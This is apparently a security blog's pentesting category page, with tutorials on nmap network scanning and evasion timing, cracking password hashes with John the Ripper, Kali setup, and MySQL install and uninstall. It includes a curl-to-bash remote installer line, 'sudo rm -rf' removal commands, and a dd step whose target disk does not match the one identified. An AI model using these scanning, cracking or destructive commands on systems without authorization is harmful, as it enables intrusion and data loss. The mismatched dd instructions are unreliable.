Category: Pentesting

  • How to Use nmap to Find Devices on Your Network

    How to Use nmap to Find Devices on Your Network

    Today I will show you how to use nmap to find devices on your network. Knowing which devices are available on a network is the first step to both attacking and defending your systems. It is important to identify unauthorized, or ‘rogue’, devices in order to maintain a high level of network security.

    Knowing which devices are running which services is invaluable to a penetration tester as well. Identifying which hosts are available on a network is part of the reconnaissance phase of a cyber attack. If you are curious, you can learn more about the steps involved in a cyber attack.

    Now that we know why we might want to locate hosts and services available on a network, how do we actually go about doing this? A network scan uses a variety of techniques to detect and fingerprint hosts on a network. We will be using the highly popular Network Mapper, or nmap. But first, what is nmap?

    What is nmap?

    Network Mapper (nmap) is a network scanning tool that is used to detect hosts and services on a network. Nmap can also be used to identify service versions, operating systems and much more.

    Scanning tools such as nmap are used to detect hosts and services on a network.

    Is nmap safe?

    Because nmap is such a powerful tool there are a few things you should know before you install it. The software itself is safe, as in not malicious, if downloaded from the official site linked below.

    You must run the tool as root to use the advanced scanning features. This poses its own risks and you should be comfortable running commands as root.

    There is nothing to protect you from amateur mistakes. Nmap is not an exploit tool but a scanning tool so the damage is not as extreme. However some networks do not tolerate scanning activity very well so a simple scan might turn into a DDoS attack.

    Scanning is also a very noisy activity. You will be blocked if you start scanning large swathes of the Internet. This is very noticeable, don’t do it.

    Now that we have that covered, let’s get right to it!

    How to Use nmap

    First go ahead and download nmap for your specific operating system. The download is available on the nmap.org download page here: Download nmap.

    Once you have nmap downloaded and installed we can start exploring a few of the many features available.

    This article is not meant to be a comprehensive overview of all features in nmap. It is a very powerful tool with numerous options. Instead we will highlight the more common features and options of this tool so that you can begin experimenting on your own.

    Bring up your command line and pick a host on your network. If you don’t know the IP of any devices on your network you can scan 127.0.0.1, the localhost address for now. We will discover more IPs to scan in a moment.

    If you don’t have any interesting devices on your network you can also install Metasploitable in VirtualBox. This is a vulnerable VM designed for experimenting with penetration testing techniques.

    To kick off a simple scan with the defaults just run:

    nmap -sV 192.168.1.220

    Assuming the target system doesn’t block the scan you should see some scan results shortly.

    Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-26 13:15 EDT
    Nmap scan report for 192.168.1.220
    Host is up (0.0076s latency).
    Not shown: 995 closed ports
    PORT     STATE SERVICE
    22/tcp   open  ssh
    53/tcp   open  domain
    80/tcp   open  http
    111/tcp  open  rpcbind
    8081/tcp open  blackice-icecap
    
    Nmap done: 1 IP address (1 host up) scanned in 0.27 seconds

    Scanning your local network

    Before we explore nmap’s extensive command line options, let us scan our local network with a quick default scan. If your household is anything like mine, chances are you have a couple of smart phones, smart TVs, lights, you name it, all connected to your Wifi. Lets see if we can detect any with our scan.

    Get your local network range

    Before we can scan our local network, we need to determine the correct IP range to scan. Most likely your home router provides a 192.168.xx.xx type address, though various models may offer a different range such as 10.x.x.x.

    Luckily it is quite easy to determine your local network range. You can check what network your computer is using with the ifconfig command on Mac and Unix systems and with the ipconfig command on Windows. This will give you details about your network adapter, including the subnet. In the screenshot below you can see that my computer has a local IP of 192.168.1.158, and a netmask of 0xffffff00. 0xffffff00 corresponds to a /24 bit mask. Your router most likely provides the same size subnet, but if you get a different netmask value, you can use a calculator such as this subnet calculator.

    ifconfig command output
    ifconfig command output on Mac

    Initiating a scan

    Now that we have our local network range, let’s get scanning. The following command instructs nmap to scan the 192.168.1.1/24 subnet (my local network). This includes the IPs from 192.168.1.1 all the way through 192.168.1.255.

    nmap -sV 192.168.1.1/24

    We are using the -sV flag to inform nmap to perform probes on any services it finds and attempt to determine the version of software running on that port. The following is the output after running the command on my local network. I’ve left some parts out as the output can get quite long if you have many devices on your network.

    Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-21 21:08 EDT
    Nmap scan report for smarttv.isp.net (192.168.1.73)
    Host is up (0.0051s latency).
    Not shown: 995 closed ports
    PORT     STATE SERVICE         VERSION
    7000/tcp open  rtsp            AirTunes rtspd 377.25.06
    8008/tcp open  http?
    8009/tcp open  ssl/castv2      Ninja Sphere Chromecast driver
    8443/tcp open  ssl/https-alt?
    9000/tcp open  ssl/cslistener?
    
    ...
    
    Nmap scan report for macbook.isp.net (192.168.1.158)
    Host is up (0.00054s latency).
    Not shown: 997 filtered ports
    PORT     STATE SERVICE VERSION
    22/tcp   open  ssh     OpenSSH 8.1 (protocol 2.0)
    80/tcp   open  http    Apache httpd 2.4.41 ((Unix) PHP/7.3.11)
    3306/tcp open  mysql   MySQL 8.0.19
    
    ...
    
    Nmap scan report for 192.168.1.231
    Host is up (0.029s latency).
    All 1000 scanned ports on 192.168.1.231 are closed
    
    ...
    
    Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
    Nmap done: 256 IP addresses (9 hosts up) scanned in 194.20 seconds

    From this output we can see a couple of devices with open ports on my local network. There is my laptop, hosting an Apache web server, and my Smart TV with all manner of ports open. You can also see what the output looks like when no open ports are detected on a host.

    Now that we can initiate a basic scan of our local network, let us take a look at some command line options to further refine our scan.

    Target specification

    First let us take a look at how we can define our scan range more specifically.

    For example, you can specify a list of hosts to scan from a file with -iL. Suppose we have a list of IP addresses in the file scan-hosts.txt:

    nmap -iL scan-hosts.txt
    
    Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-21 21:17 EDT
    Nmap done: 14 IP addresses (0 hosts up) scanned in 6.19 seconds

    This instructs nmap to scan the list of IPs it reads from the file. In this case it was a list of old host addresses that were no longer in use.

    The scanner also has the ability to generate a random list of hosts to scan. This is done by using the -iR flag, and then specifying the number of hosts to scan. Be careful with this option! This will include public IP addresses! The owners of these systems may not be too happy with you scanning them.

    To use this flag simply specify the number of random hosts to scan after the -iR flag.

    nmap -iR <num hosts>

    There is also the option to exclude specific hosts or ranges. This is particularly useful if you have a slow device that takes a long time to scan. This may also be used during a penetration test to avoid scanning a known honeypot for example.

    Exclude specific hosts:

    nmap --exclude <host1> <host2> ...

    Host discovery

    The first phase of an nmap scan consists of host discovery. During this phase nmap attempts to determine if there are any online hosts within the scan range. This cuts down on the scan time significantly as nmap does not try to scan any ports unless a host is online and responsive.

    List targets to scan (good for confirming scan range)

    nmap -sL 192.168.1.1/24
    
    Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-21 20:41 EDT
    Nmap scan report for 192.168.1.0
    Nmap scan report for 192.168.1.1
    Nmap scan report for 192.168.1.2
    Nmap scan report for 192.168.1.3
    Nmap scan report for 192.168.1.4
    Nmap scan report for 192.168.1.5
    Nmap scan report for 192.168.1.6
    Nmap scan report for 192.168.1.7
    Nmap scan report for 192.168.1.8
    Nmap scan report for 192.168.1.9
    Nmap scan report for 192.168.1.10
    
    ...
    

    Ping scan – use ICMP only, don’t scan any ports

    nmap -sn 192.168.1.1/24

    Treat all hosts as online. This is good for when hosts are not responding to ICMP but you know they are there.

    nmap -Pn 192.168.1.1/24

    Specify whether to perform DNS resolution

    Without DNS resolution

    nmap -n 192.168.1.1/24 
    Nmap scan report for 192.168.1.73
    Nmap scan report for 192.168.1.74
    Nmap scan report for 192.168.1.75
    Nmap scan report for 192.168.1.76
    Nmap scan report for 192.168.1.77

    With DNS resolution (-R is on by default):

    nmap -R 192.168.1.1/24 
    Nmap scan report for viziocastdisplay.isp.net (192.168.1.73)
    Nmap scan report for 192.168.1.74
    Nmap scan report for amazon-74b9e7c98.isp.net (192.168.1.75)
    Nmap scan report for QCA4002.isp.net (192.168.1.76)
    Nmap scan report for QCA4002.isp.net (192.168.1.77)

    Scan techniques

    Depending on the specific target being scanned, the type of scan may need to be altered. By default for example, nmap does not perform UDP scans. If you know a specific target may be running UDP services a UDP scan would be appropriate.

    The most interesting options here are the scan types, the UDP scan, and the “special scans” (-sN/sF/sX).

      -sS/sT/sA/sW/sM: TCP SYN/Connect()/ACK/Window/Maimon scans
      -sU: UDP Scan
      -sN/sF/sX: TCP Null, FIN, and Xmas scans
      --scanflags <flags>: Customize TCP scan flags
      -sI <zombie host[:probeport]>: Idle scan
      -sY/sZ: SCTP INIT/COOKIE-ECHO scans
      -sO: IP protocol scan
      -b <FTP relay host>: FTP bounce scan

    Port specification

    When fingerprinting a server you may already have an idea of specific ports that may be open. You can specify which ports to scan with the -p flag. You can scan a common Linux web server with the following command. This command scans ports that are commonly found on web servers: FTP port 21, SSH port 22, HTTP port 80, and HTTP proxy port 8080. The command also attempts to determine versions of the running services.

    nmap -p21,22,80,8080 -sV 192.168.1.220
    
    Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-21 21:00 EDT
    Nmap scan report for 192.168.1.220
    Host is up (0.0072s latency).
    
    PORT     STATE  SERVICE    VERSION
    21/tcp   closed ftp
    22/tcp   open   ssh        OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
    80/tcp   open   http       Apache httpd 2.4.41 ((Ubuntu))
    8080/tcp closed http-proxy
    Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
    
    Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
    Nmap done: 1 IP address (1 host up) scanned in 6.43 seconds

    You can also exclude specific ports from a general scan. For example to skip scanning port 80 use:

    nmap --exclude-ports 80 192.168.1.220
    
    Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-21 21:03 EDT
    Nmap scan report for 192.168.1.220
    Host is up (0.0098s latency).
    Not shown: 996 closed ports
    PORT     STATE SERVICE
    22/tcp   open  ssh
    53/tcp   open  domain
    111/tcp  open  rpcbind
    8081/tcp open  blackice-icecap
    
    Nmap done: 1 IP address (1 host up) scanned in 0.26 seconds

    Service and version detection

    Of course determining if a port is open is all good and well, ideally we want to find vulnerable services. To do this we need to figure out what versions of services are running on each port. Nmap can do this for us with the -sV flag.

    nmap -sV 192.168.1.220
    
    Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-21 21:05 EDT
    Nmap scan report for 192.168.1.220
    Host is up (0.0084s latency).
    Not shown: 995 closed ports
    PORT     STATE SERVICE VERSION
    22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
    53/tcp   open  domain  dnsmasq 2.80
    80/tcp   open  http    Apache httpd 2.4.41 ((Ubuntu))
    111/tcp  open  rpcbind 2-4 (RPC #100000)
    8081/tcp open  http    nginx
    Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
    
    Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
    Nmap done: 1 IP address (1 host up) scanned in 7.06 seconds

    As you can see, we get a bit more information about each port now. For example we can see that this server is running Apache 2.4.41. Armed with this information we could now search for vulnerabilities in that version of Apache.

    OS detection

    Just as we want to know the versions of each service running on the system, we also would like to know the specific OS version running on the system.

    Note, this option requires root privileges. To enable OS fingerprinting:

    sudo nmap -O 192.168.1.220
    
    Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-21 21:10 EDT
    Nmap scan report for 192.168.1.220
    Host is up (0.0064s latency).
    Not shown: 995 closed ports
    PORT     STATE SERVICE
    22/tcp   open  ssh
    53/tcp   open  domain
    80/tcp   open  http
    111/tcp  open  rpcbind
    8081/tcp open  blackice-icecap
    MAC Address: C8:58:C0:10:BF:17 (Intel Corporate)
    Device type: general purpose
    Running: Linux 4.X|5.X
    OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
    OS details: Linux 4.15 - 5.6
    Network Distance: 1 hop
    
    OS detection performed. Please report any incorrect results at https://nmap.org/submit/ .
    Nmap done: 1 IP address (1 host up) scanned in 2.06 seconds

    Unfortunately nmap could not determine the flavor of linux running on the system, but we do have some linux kernel information now.

    Evasion and spoofing

    Many IDS systems will detect, and often prevent, port scans as they are highly noticeable. This section outlines some of the more common options for cloaking a scan. IDS evasion is a complex topic in itself and is out of the scope of this post.

    Scan slower

    By default nmap tries to complete a scan as quickly as possible without overloading the target system. This is great for experimenting as you want to see your results quickly. However scanning a “target” system at full speed is a sure fire way to get blocked and cut your testing short.

    Here are two scans at the slowest and fastest speeds for comparison. Any value between 0 and 5 is valid for the -T parameter.

    Scan at highest speed:

    nmap -T5 192.168.1.220
    
    Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-21 21:27 EDT
    Nmap scan report for 192.168.1.220
    Host is up (0.017s latency).
    Not shown: 995 closed ports
    PORT     STATE SERVICE
    22/tcp   open  ssh
    53/tcp   open  domain
    80/tcp   open  http
    111/tcp  open  rpcbind
    8081/tcp open  blackice-icecap
    
    Nmap done: 1 IP address (1 host up) scanned in 1.32 seconds

    Scan at lowest speed. Scanning at the lowest speed though less noticeable is considerably slower! The same scan was run with -T0. I left this scan running overnight and you can see it took 11 hours to complete.

    nmap -T0 192.168.1.220
    
    Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-21 21:27 EDT
    Nmap scan report for 192.168.1.220
    Host is up (0.017s latency).
    Not shown: 995 closed ports
    PORT     STATE SERVICE
    22/tcp   open  ssh
    53/tcp   open  domain
    80/tcp   open  http
    111/tcp  open  rpcbind
    8081/tcp open  blackice-icecap
    
    Nmap done: 1 IP address (1 host up) scanned in 11:18:39

    Nmap output formats

    Running nmap in a terminal is good fun, but ideally we would like to make use of the data that nmap provides for deeper analysis or exploitation. Other security tools for example may accept a XML file for host specification.

    Lucky for us, nmap has a number of different output formats depending on how the information is to be consumed.

    -oN <file>: Output scan in normal (default)
    -oX <file>: XML,
    -oS <file>: s|<rIpt kIddi3,
    -oG <file>: and Grepable format, respectively, to the given filename.

    The Grepable format (-oG) is perfect for further parsing on the command line or in a script. Here we instruct nmap to print output in a Grepable format to stout .

    greg@securing.ninja[~]$ nmap -n -sV -oG - 192.168.1.220
    # Nmap 7.91 scan initiated Mon Jun 21 17:37:33 2021 as: nmap -n -sV -oG - 192.168.1.220
    Host: 192.168.1.220 ()	Status: Up
    Host: 192.168.1.220 ()	Ports: 22/open/tcp//ssh//OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)/, 53/open/tcp//domain//dnsmasq 2.80/, 80/open/tcp//http//Apache httpd 2.4.41 ((Ubuntu))/, 111/open/tcp//rpcbind//2-4 (RPC #100000)/, 8081/open/tcp//http//nginx/	Ignored State: closed (995)
    # Nmap done at Mon Jun 21 17:37:40 2021 -- 1 IP address (1 host up) scanned in 7.52 seconds

    Putting it all together

    In general, nmap is very easy to use and an effective method for discovering hosts and services on a network.

    Security professionals and hobbyists alike use nmap everyday because of its powerful features. Of course we have just scratched the surface with this post but we hope you now have the skills to start scanning systems with nmap. Take some time to read more about some of the other options and flags. There is lots more to discover making nmap such a powerful tool.

  • How to Use John the Ripper

    How to Use John the Ripper

    In this article we describe how to crack password hashes with John the Ripper (JtR). It is not unheard of to come across a file containing password hashes during a penetration testing engagement. This can be a gold mine if you can crack the password hashes.

    John the Ripper is a fantastic tool for ripping apart password hashes. Check out the full documentation here. Let us first take a look at how the tool works.

    How does John the Ripper work?

    John the Ripper is a password cracking tool capable or breaking a variety of hash types. When combined with a hefty word list such as the infamous rockyou.txt, the tool can make short work of simple passwords. John the Ripper determines the hash type of the password file and then attempts to find a match for those hashes.

    This tool also highlights the importance of choosing a strong randomized password. Cracking passwords found in a word list is 10-fold faster than running an incremental brute-force attack.

    By default the tool is capable of breaking the following hashes. If you need to break a hash that is not on the list, check the Internet. Given that JtR is open-source software it is likely someone has developed an extension capable of processing your hash type.

    • UNIX crypt(3)
    • Traditional DES-based
    • bigcrypt
    • BSDI extended DES-based
    • FreeBSD MD5-based
    • OpenBSD Blowfish-based
    • Kerberos/AFS
    • Windows LM (DES-based)
    • DES-based tripcodes
    • SHA-crypt hashes

    What is John the Ripper used for?

    John the Ripper is used by security professionals to crack password hashes. During a penetration testing engagement it is not uncommon to get your hands on a file containing hashed passwords. In order to make use of these passwords the hashes must first be broken. Lets start by getting a copy installed.

    How to download John the Ripper?

    Before we jump in, you will need to download a copy of John the Ripper. If you are using Kali Linux it is likely you already have a copy installed. This is the easiest method as it keeps all of your penetration testing tools in a single place.

    Check out the tutorial to install Kali Linux in VirtualBox. Otherwise head over to the John the Ripper home page and do the install manually: download page

    JtR is open-source software so you can also head over to the Github repository and download the source yourself.

    Tutorials for using John the Ripper

    Now that we have a copy of John the Ripper downloaded and installed we can jump into some basic commands.

    You can run the following command at any time to list the built-in help:

    $ john

    Cracking Passwords

    To actually crack passwords we need to provide a file of password hashes. John the Ripper will determine the hash types before stepping through a number of cracking modes.

    The most common cracking modes that JtR uses are:

    • Single Crack: Fastest mode if a full password file is available
    • Wordlist: Attempts passwords found in word lists, works very well against simple passwords
    • Incremental: True brute-force, tries every possible combination until a match is found (or not)

    The easiest and usually fastest method is to start John the Ripper and let it automatically step through its most efficient modes. This is usually fastest unless you know the passwords in question will not be on a wordlist.

    john passwordfile

    You can also use a specific wordlist such as one downloaded from the Internet:

    john <passfile> –-wordlist=”bestwordlist.txt”

    Or specify which cracking mode to use:

    john --single <passfile>
    john --incremental <passfile>

    This will start John the Ripper in single crack or incremental mode respectively.

    What is Single Crack Mode?

    In single-crack mode the program will use the login names, “GECOS” / “Full Name” fields, and users’ home directory names as candidate passwords. It also applies heavy mangling rules for efficient processing. Information is only used against accounts that it was taken from making this mode much faster than wordlist mode. Any successfully guessed passwords are also tried against other hashes in case users are using the same passwords.

    Word Mangling Rules

    Word mangling rules are key to making JtR more efficient. If you are trying to crack complex or long passwords you will want to operate as efficiently as possible (and even then it will take a long time, or a lot of hardware!).

    Mangling rules pre process the wordlists and make optimizations to improve the cracking process.

    john --wordlist=”bestwordlist.txt” --rules <passfile>

    Viewing Output

    Hopefully at this point you’ve cracked some passwords. You can view any cracked passwords with:

    john --show <passfile>

    This will show any cracked passwords for that password file. You can also filter the list to show users with a particular id or that are in a particular group:

    john --show --users=0 <passfile>
    john --show --groups=0,1 <passfile>

    Of course you can also pipe the output to another tool such as grep for further filtering:

    john --show | grep "some user"

  • How to Create a Kali Linux Bootable Usb

    How to Create a Kali Linux Bootable Usb

    Welcome back to our next tutorial. Today we will be creating a Kali Linux bootable USB. If you would install Kali Linux locally, check out our tutorial on Installing Kali Linux in VirtualBox.

    Go ahead and start the download as it will take some time on slower connections. Grab the Kali Linux Live ISO from https://www.kali.org/downloads/.

    Get the appropriate architecture for the target system. If you will be primarily using your USB thumb drive on 64-bit architectures you can grab the x86_64 version. If you are unsure you will usually be safe with the 32-bit (i386) version.

    Once your download is complete we can go ahead and start the installation process. The instructions will vary slightly depending on your host OS.

    Creating a Bootable Kali USB Drive on Windows

    Connect your USB thumb drive to the system and make sure it can store at least 4GB of data. Make a note of the drive letter that your drive uses once it mounts. In this example our USB is mounted as drive “F:\”.

    Flash the ISO image with Etcher. Etcher is a free utility for burning ISO files to disk and USB. Simply select the ISO file you previously downloaded and the appropriate drive letter.

    After the flashing process is complete, you can safely eject the USB and use it to boot Kali Linux.

    Creating a Bootable Kali USB on Linux

    Use fdisk -l from the command line to view the disks and their device paths. Now connect the USB drive and make sure it has at least 4GB of available space.

    Run the fdisk -l command again and identify the newly added device name. You can also verify the size matches the approximate size of your USB thumb drive. Make sure you identify the correct device path for your USB. In our example we are using /dev/disk4. Other systems may show the device path as /dev/sdb or similar.

    After triple checking that you have the correct device you can proceed to copy the ISO to the USB disk. Be careful when typing this command. dd is a powerful command especially when run as root! You can easily overwrite your primary disk if you enter the wrong device name.

    dd if=kali-linux-2020.1b-live-amd64.iso of=/dev/disk4 bs=4M

    This command copies our input file (if), kali-linux-2020.1b-live-amd64.iso to our output ‘file’ (of) /dev/disk4. The additional parameter bs instructs the dd command to copy in 4 megabyte chunks.

    Note: The dd command can take quite some time depending on the performance of the USB thumb drive. Just be patient and wait for the command to complete. On some systems this process can take upwards of 30 minutes. You can press CTRL-T to see how many bytes dd has copied so far.

    Creating a Bootable Kali USB on Mac OS

    MacOS is a UNIX based operating system so the instructions for creating a bootable Kali USB on Mac OS are similar to the Linux instructions above.

    Start by listing the disk devices available on the system with:

    diskutil list

    After making a note of the devices listed, plug in your USB thumb drive and repeat the process. You should see a new device in the list that matches the size of your USB drive. In our example our USB drive is available at /dev/disk2.

    Now unmount the drive with diskutil:

    diskutil unmountDisk /dev/disk2

    And now CAREFULLY copy the Kali Linux ISO to the USB drive. Be careful with the dd command and double check that you have the correct device!

    dd if=kali-linux-2020.1b-live-amd64.iso of=/dev/disk6 bs=4M

    Copying the ISO takes time (up to half an hour on some systems) so be patient. Pressing CTRL-T will show how many bytes have been processed by dd so far. This can be used to estimate the time remaining.

    Kali on the Go

    Now that you have Kali Linux installed on a bootable USB it is up to you where to unleash this power. Theoretically you can boot Kali Linux on almost any machine you have physical access to. Physical access is a holy-grail during penetration testing as it spells almost immediate game-over for the defenders.

  • How to Install MySQL on Mac

    How to Install MySQL on Mac

    Welcome back to another SecuringNinja tutorial. No cyber security researcher should be with out a database to practice their skills on, or just to store tons of relational data. Today we will show you how to install MySQL on a Mac. Having a local database is perfect for running websites locally, or for providing persistent storage for another application.

    In this article we cover how to:

    MySQL is very straight forward to install on a Mac. If you do not already have the Homebrew package manager for Mac you’ll need to install that first. If you would rather not install Homebrew you can also install MySQL using the DMG file available on the MySQL site.

    Installing Homebrew on Mac

    Lets start by opening up Terminal and installing Homebrew. Homebrew is a macOS package manager that makes installing packages on macOS a breeze.

    To install Homebrew on Mac run the following command:

    /bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install.sh)"

    Once the install is complete go ahead and run an update to test that everything is working correctly.

    brew update

    With Homebrew installed it is a simple matter to install MySQL.

    Installing MySQL on Mac with Brew

    Installing MySQL with Brew is a breeze. All it takes is:

    brew install mysql

    This will install the most recent version of the package available on Brew. As of this writing it is MySQL version 8.0. To install a different version simply append the version to the end of the package with an @ symbol. For example, to install MySQL 5.7 use:

    brew install mysql@5.7

    If you don’t want to install Homebrew you can also install MySQL with the DMG file available for download as described below.

    Installing MySQL with a DMG file

    You can also install MySQL via the DMG file on the MySQL downloads page. This will add a MySQL preference pane in System Preferences as well. You can start and stop your server from here too.

    First begin by downloading and mounting the DMG file available from the MySQL Community downloads page. Make sure you grab the appropriate DMG for your OS version.

    Download MySQL Server for Mac from the MySQL Community site.
    Download MySQL Server for Mac from the MySQL Community site.

    Mount the DMG and double click the .pkg file to begin the installation.

    Mount the DMG and double click the package to begin the installation
    Mount the DMG and double click the package to begin the installation

    Step through the installer installer and make a note of your temporary root password. You will need this for the initial connection to the server. DO NOT LOSE IT!

    The server will require that you update your password on the first login. MySQL server is now installed. To start the server use launchctl or the MySQL preference pane in System Preferences. The server uses very few resources while running in the background so there really is no need to start and stop the server each time.

    To start the server via launchctl:

     sudo launchctl load -w /Library/LaunchDaemons/com.oracle.oss.mysql.mysqld.plist

    This instructs MySQL to start when the system boots up.

    You can also start and stop MySQL through the System Preferences pane. Open System Preferences and select MySQL:

    And finally, start or stop the server as needed.

    From this preference pane you can also edit the MySQL server configuration, re-initialize the database, and uninstall MySQL server entirely. We cover how to uninstall MySQL on Mac in the next section.

    Uninstalling MySQL on Mac

    If you installed MySQL via the DMG file method then uninstalling is extremely straight forward. Navigate to the MySQL preference pane in System Preferences, and click Uninstall. Thats it! MySQL has been uninstalled.

    If you however installed MySQL using the Brew method described above, then there are a couple of extra steps.

    Uninstalling MySQL on Mac with Brew

    The steps below show how to uninstall MySQL installed with Brew. Begin by finding any running MySQL processes and stopping them. Then uninstall MySQL and remove all files.

    # Stop all running mysql processes
    ps -aux | grep mysql
    kill <pid>
    
    brew remove mysql
    brew cleanup
    sudo rm /usr/local/mysql
    sudo rm -rf /usr/local/var/mysql
    sudo rm -rf /usr/local/mysql*
    sudo rm ~/Library/LaunchAgents/homebrew.mxcl.mysql.plist
    sudo rm -rf /Library/StartupItems/MySQLCOM
    sudo rm -rf /Library/PreferencePanes/My*
    launchctl unload -w ~/Library/LaunchAgents/homebrew.mxcl.mysql.plist
    
    # Remove user files if they exist
    rm -rf ~/Library/PreferencePanes/My*
    sudo rm -rf /Library/Receipts/mysql*
    sudo rm -rf /Library/Receipts/MySQL*
    sudo rm -rf /private/var/db/receipts/*mysql*

    What to do with your new database

    Now that you’ve got a local database up and running you may want to take a look at how a SQL injection attack works. Your new database will be great for practice! If you have any issues getting your database up and running, please reach out in the comments below. We would love to assist you!

  • Install Kali Linux in VirtualBox on Mac

    Install Kali Linux in VirtualBox on Mac

    Today we cover how to install Kali Linux in Virtualbox on Mac.

    In the tutorial below we explain all the steps needed to install Kali Linux in VirtualBox on a Mac. We also answer common questions and provide solutions to common problems people face while trying to install Kali Linux in VirtualBox on Mac. After today’s tutorial you will have a fully functioning penetration testing system running Kali Linux in VirtualBox.

    Let’s get right to it!

    Download Kali Linux for VirtualBox

    Start by downloading the appropriate image from the Offensive Security VM download page.

    Make sure you download the correct file for your virtual machine software. In this tutorial I will be using VirtualBox. I highly recommend using the Torrent download option. The download rates on the Offensive Security servers are rather limited. Downloading the whole 3GB file will take some time. Using the Torrent file allows you to connect to fast peers willing to host the download. Which ever route you choose wait for the download to complete and get VirtualBox set up while you are waiting for your download to complete.

    Offensive Security Kali VirtualBox Download

    Grab yourself a coffee and wait for that download to complete. Then we will import the appliance file into VirtualBox.

    Import the Kali Linux appliance

    The wonderful folks over at Offensive Security have been nice enough to package up a full VirtualBox appliance running Kali. The appliance file will take care of creating the virtual machine for us.

    You may notice an .ova extension on the file you downloaded. The .ova extension is for virtual machine appliance files and is supported by many virtualization applications such as VirtualBox and VMWare.

    After you finish downloading the file, open VirtualBox and select File > Import Appliance…

    Import Kali Linux VirtualBox
    Import Kali Linux appliance in VirtualBox

    Make sure the source is set to Local File System (assuming the downloaded file is on your machine). Then click the folder icon to navigate to the file you downloaded from Offensive Security and select Open.

    VirtualBox appliance import screen
    VirtualBox appliance import screen
    Select the Kali Linux virtual appliance file
    Select the Kali Linux virtual appliance file

    After clicking Open VirtualBox will take a few moments to extract the file’s contents. After the import is complete you will be greeted with a window showing all of the appliance’s details. Take a moment to review these details and tweak anything you want.

    Kali Linux appliance information screen
    Kali Linux appliance information screen

    Once everything is satisfactory click Import. Kali Linux 2020 now requires accepting the Kali Linux Open Source license agreement. Click Agree and then wait for the import to complete. This should not take more than a few minutes on a decently powered system.

    Kali Linux GPL v3 license agreement
    Kali Linux GPL v3 license agreement
    Kali Linux VirtualBox import
    Kali Linux VirtualBox import

    Tweak the virtual machine

    Feel free to fire up the virtual machine once the import is complete. Before that however, I would recommend tweaking a virtual machine settings. If you are like me and installed Kali Linux in VirtualBox on a Mac Book Pro with Retina Display then you will probably be greeted with a microscopic display. We’ll fix that next.

    Lets start by selecting our newly created virtual machine in the list on the left. Click the Settings icon to bring up the virtual machine settings.

    Adjust VirtualBox processor count
    Adjust VirtualBox processor count

    First click System and then Processor. I usually like to bump my processor count up to 4. If you have the cores available I definitely recommend allocating more.

    Adjust VirtualBox RAM settings
    Adjust VirtualBox RAM settings

    Above all, let’s adjust the Motherboard settings. I like to increase the base memory allocation to 4096 MB (4GB). This makes for a slightly snappier interface especially if running the full desktop environment.

    Adjust Kali Linux display settings for VirtualBox

    After adjusting the virtual machine settings, fire up Kali and insert the guest additions. This part is crucial as it updates the virtual display drivers. The updated drivers give us much better control of the guest screen resolution. For instance we can take full advantage of the MacBook Pro’s retina display.

    Install VirtualBox Guest Additions in Kali Linux
    Install VirtualBox Guest Additions in Kali Linux
    Insert Guest Additions
    Insert Guest Additions
    Copy VBoxLinuxAddtions.run to Desktop
    Copy VBoxLinuxAddtions.run to Desktop
    Open terminal, install as root
    Open terminal, install as root
    VirtualBox Guest Additions installed in Kali Linux
    VirtualBox Guest Additions installed in Kali Linux

    After installing the VirtualBox Guest Additions in Kali Linux reboot the VM to apply all of the changes. Then open the Kali Linux display settings. This is done by clicking the menu button in the upper left corner of the Kali desktop. Either search for Display or select Settings, then select Display.

    Adjust Kali Linux display settings
    Adjust Kali Linux display settings

    In the display settings adjust the resolution to an acceptable value. It is important to note that while your display may be capable of 4000+ by 3000+ resolution, you may want to select a lower resolution such as 1920 by 1080. Although Kali Linux allows interface scaling to increase the interface size and maintain resolution, not all apps support this option. Many tools built on Java for example do not scale at all and this results in tiny unusable interfaces.

    Change Kali Linux display resolution
    Change Kali Linux display resolution

    Adjusting the VM display settings

    Once you’ve lowered the resolution in Kali Linux the window may now be surrounded by a thick black border. If this is the case, go to the virtual machine settings (in VirtualBox) and select Display. Then adjust the scaling factor to 200%. This will make Kali Linux full screen again…and with readable text!

    Adjust VirtualBox scaling factor
    Adjust VirtualBox scaling factor

    Kali Linux in VirtualBox

    After tweaking the Kali and VirtualBox display settings, you should have a beautifully crisp installation of Kali Linux 2020 in VirtualBox on a Mac. Now you surely want to dive right in and start exploring. For instance, you may want to set up a vulnerable host and test some exploit tools.

    Itching to hack something?

    The best way to learn penetration testing is in a controlled environment specifically designed for exercising your penetration testing skills. You can get in loads of trouble ‘testing’ systems that don’t belong to you.

    Metasploitable is an excellent vunerable virtual machine that you can set up alongside Kali Linux. This VM is loaded with security vulnerabilities to help expand your skillset. The tutorial below explains how to install Metasploitable in VirtualBox.

    How to learn penetration testing with Kali Linux

    Before you deploy Metasploitable, you may want to consider setting up a virtual penetration testing lab. This gives you a controlled environment to test your skills. Now that you’ve completed this tutorial, you already have the Kali host set up. After that it is just a matter of adding 1 or 2 vulnerable VMs to your network to practice on. The tutorial below describes how to set up an isolated network for testing your skills.

    We hope you enjoyed today’s tutorial on installing Kali Linux in VirtualBox. If you have any questions or feedback please leave us a comment below!

  • How to Build a Virtual Penetration Testing Lab

    As a penetration tester it is important to have a controlled environment in which to hone your skills and test new techniques. Testing on systems you do not own is illegal, even if it is just harmless curiosity. In this article I will show you how to build a virtual penetration testing lab using VirtualBox, Kali Linux, and Ubuntu.

